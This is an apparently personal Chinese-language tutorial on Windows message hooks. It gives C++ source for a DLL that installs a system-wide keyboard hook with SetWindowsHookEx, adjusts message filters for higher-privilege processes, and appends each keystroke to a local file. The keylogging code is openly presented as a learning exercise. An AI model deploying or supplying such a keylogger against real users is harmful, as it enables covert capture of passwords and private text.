初试Hook与键盘记录程序
最近开始接触hook程序,在此基础之上制作了一个键盘记录小程序,并将所遇到的问题记录下来和大家分享。
一:基本概念
1.钩子(hook)
是windows消息处理机制的一个平台,钩子机制允许应用程序截获处理windows消息或者其他特定事件,钩子实际上是一个处理消息的程序段,通过系统调用把他挂入系统。每当特定的消息发出,在没有到达目的窗口之前,被钩子程序所捕获,钩子程序即可加工处理该消息。
2.钩子的安装与释放
使用SetWindowsHookEx把一个应用程序定义的钩子安装到钩子链表中,这个函数总是在hook开头安装hook子程,
UnHookWindowsHookEx()进行释放。
3.共享数据段
#progma data_seg 预处理指令用于设置共享数据段
#pragma data_seg("SharedDataName")
HHOOK hHook=NULL;
#pragma data_seg()
在这两个预处理之间的数据被所有的调用dll的共享。
二:键盘记录程序简析:
1.建立一个dll程序
这个dll程序用来处理键盘收到的消息,主要的消息处理函数如下:
DllExport void WINAPI InstallHook(HWND hwnd)
{
h_wnd=hwnd;
CHANGEFILTERSTRUCT chfit = { sizeof(CHANGEFILTERSTRUCT) };
CallChangeWindowMessageFilter(h_wnd,WH_KEYBOARD, MSGFLT_ALLOW, &chfit);
CallChangeWindowMessageFilter(h_wnd,WM_MYMSG,MSGFLT_ALLOW, &chfit);
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)mfcHook,theApp.m_hInstance,0);//an zhuang quan ju gou zi
}
其中由于win7高权限进程无法接收低权限进程发送的消息,因此,在安装钩子程序之前,需对程序的消息进行过滤。
在安装钩子程序以后,即可设置回调函数,在钩子回调函数中,记录按键的值,并发送自定义消息给目标程序,钩子处理完成之后,转发钩子消息。若想截断消息的传输,便设置不返回。
LRESULT CALLBACK mfcHook(int nCode,WPARAM wParam,LPARAM lParam)
{
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char ch=MapVirtualKey(wParam,2);
fstream dataFile;
dataFile.open("aaa.txt",ios::app);
dataFile<<ch;
dataFile.close();
if (h_wnd)
{
::PostMessage(h_wnd,WM_MYMSG,++nKeydown,0);
}
}
}
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
return Result;
}
2.建立启动程序
调用此dll的程序相对简单,便不在赘述。